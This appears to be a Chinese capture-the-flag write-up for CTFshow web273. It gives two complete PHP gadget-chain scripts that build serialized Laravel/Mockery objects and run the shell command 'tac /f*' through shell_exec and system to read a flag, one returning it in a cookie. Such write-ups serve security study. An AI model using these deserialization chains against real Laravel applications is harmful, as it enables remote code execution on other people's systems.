目录

  • 题解
  • 总结

题解

两个链子都可以用

exp1 flag在cookie

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-05 22:27:03
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/namespace PhpParser\Node\Scalar\MagicConst{class Line {}
}
namespace Mockery\Generator{class MockDefinition{protected $config;protected $code;public function __construct($config, $code){$this->config = $config;$this->code = $code;}}
}
namespace Mockery\Loader{class EvalLoader{}
}
namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}}
}
namespace Illuminate\Foundation\Console{class QueuedCommand{public $connection;public function __construct($connection){$this->connection = $connection;}}
}
namespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}}
}
namespace{$line = new PhpParser\Node\Scalar\MagicConst\Line();$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php setcookie('shell',shell_exec('tac /f*')); ?>");$evalloader = new Mockery\Loader\EvalLoader();$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);echo urlencode(serialize($pendingbroadcast));
}

exp2

<?php
namespace Illuminate\Foundation\Testing{class PendingCommand{protected $command;protected $parameters;protected $app;public $test;public function __construct($command, $parameters,$class,$app){$this->command = $command;$this->parameters = $parameters;$this->test=$class;$this->app=$app;}}
}
namespace Illuminate\Auth{class GenericUser{protected $attributes;public function __construct(array $attributes){$this->attributes = $attributes;}}
}
namespace Illuminate\Foundation{class Application{protected $hasBeenBootstrapped = false;protected $bindings;public function __construct($bind){$this->bindings=$bind;}}
}
namespace{$genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));$application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('tac /f*'),$genericuser,$application);echo urlencode(serialize($pendingcommand));
}
?>

总结

水题

CTFshow 反序列化 web273相关推荐

  1. ctfshow 反序列化篇(下)

    web267(yii框架) 开启靶机,是一个网站,试着搜索有没有重要信息.在这里发现是yii框架. 我们使用弱口令admin/admin就可以登录进来了,那就继续收集重要信息.在源代码中发现了重要注释 ...

  2. CTFshow 反序列化 web266

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # ...

  3. CTFshow 反序列化 web259

    目录 源码 思路 题解 总结 源码 <?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']); //vip can get f ...

  4. CTFshow 反序列化 web277

    目录 源码 题解 总结 源码 查看源代码 提示pickle,得知考点是pickle反序列化 题解 exp 试了几次不能用bash,最后用了/bin/sh,因为环境里面没有装bash,得不到响应nc连上 ...

  5. CTFshow 反序列化 web261

    目录 源码 思路 题解 总结 源码 <?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $passwor ...

  6. CTFshow 反序列化 web260

    目录 源码 思路 题解 总结 源码 <?phperror_reporting(0); highlight_file(__FILE__); include('flag.php');if(preg_ ...

  7. CTFshow 反序列化 web262

    目录 源码 思路 题解 解法一 直接构造类进行序列化 解法二 字符逃逸 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date ...

  8. CTFshow 反序列化 web263

    目录 源码 思路 题解 总结 源码 也没有什么别的信息,扫一下目录,下载www.zip拿到源码 思路 知识点: php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处 ...

  9. CTFshow 反序列化 web258

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # ...

最新文章

  1. C# API中的模型和它们的接口设计
  2. 写给初学者的Tensorflow介绍
  3. 用lua扩展你的Nginx(写的非常好)
  4. 【luogu P1343 地震逃生】 题解
  5. 慕课-北京理工大学 机器学习 大学生上网时间 聚类,小白学习
  6. Jetty+json-lib库抛异常的问题解决过程(java.lang.NoClassDefFoundError: net/sf/json/JSONObject)...
  7. 「知识点」JavaScript 中11个有趣的事实
  8. Python+OpenCV:直方图反向投影(Histogram Backprojection)
  9. linux 版本信息 64位,Centos查看版本信息
  10. java数字转换32位字符串_java字符串和数字转换工具
  11. Android GPS定位
  12. 中国生物能源行业市场规模预测及未来战略规划建议报告2022-2028年
  13. html2canvas截长图
  14. 在Windows Server 2012中搭建WEB服务器,附ASP配置方法
  15. 移动磁盘数据错误循环冗余检查,要怎样恢复数据
  16. Postgresql - 查询表引用或被引用的外键
  17. PCA 降维 + 基于轮廓系数确定K-Means最优簇数
  18. cst是什么时间(Cst是什么检查)
  19. 【linux系列】统计Linux系统缺页的次数
  20. FFMPEG常用的一些命令介绍:音频录制、视频录制

热门文章

  1. xmppframework for iOS client (一) XMPPFramework环境配置
  2. tvpvar模型的建模步骤_3D游戏建模入门须知:次世代建模软件有哪些?零基础你都知道吗...
  3. Maven学习总结(8)——使用Maven构建多模块项目
  4. iOS时间格式化遇到的坑
  5. Spark- Checkpoint原理剖析
  6. 让你的插件兼容AMD, CMD ,CommonJS和 原生 JS
  7. office2003/2007/2010如何卸载干净
  8. 金额大小写转换(1)
  9. linux网络属性配置
  10. secureCRT连接问题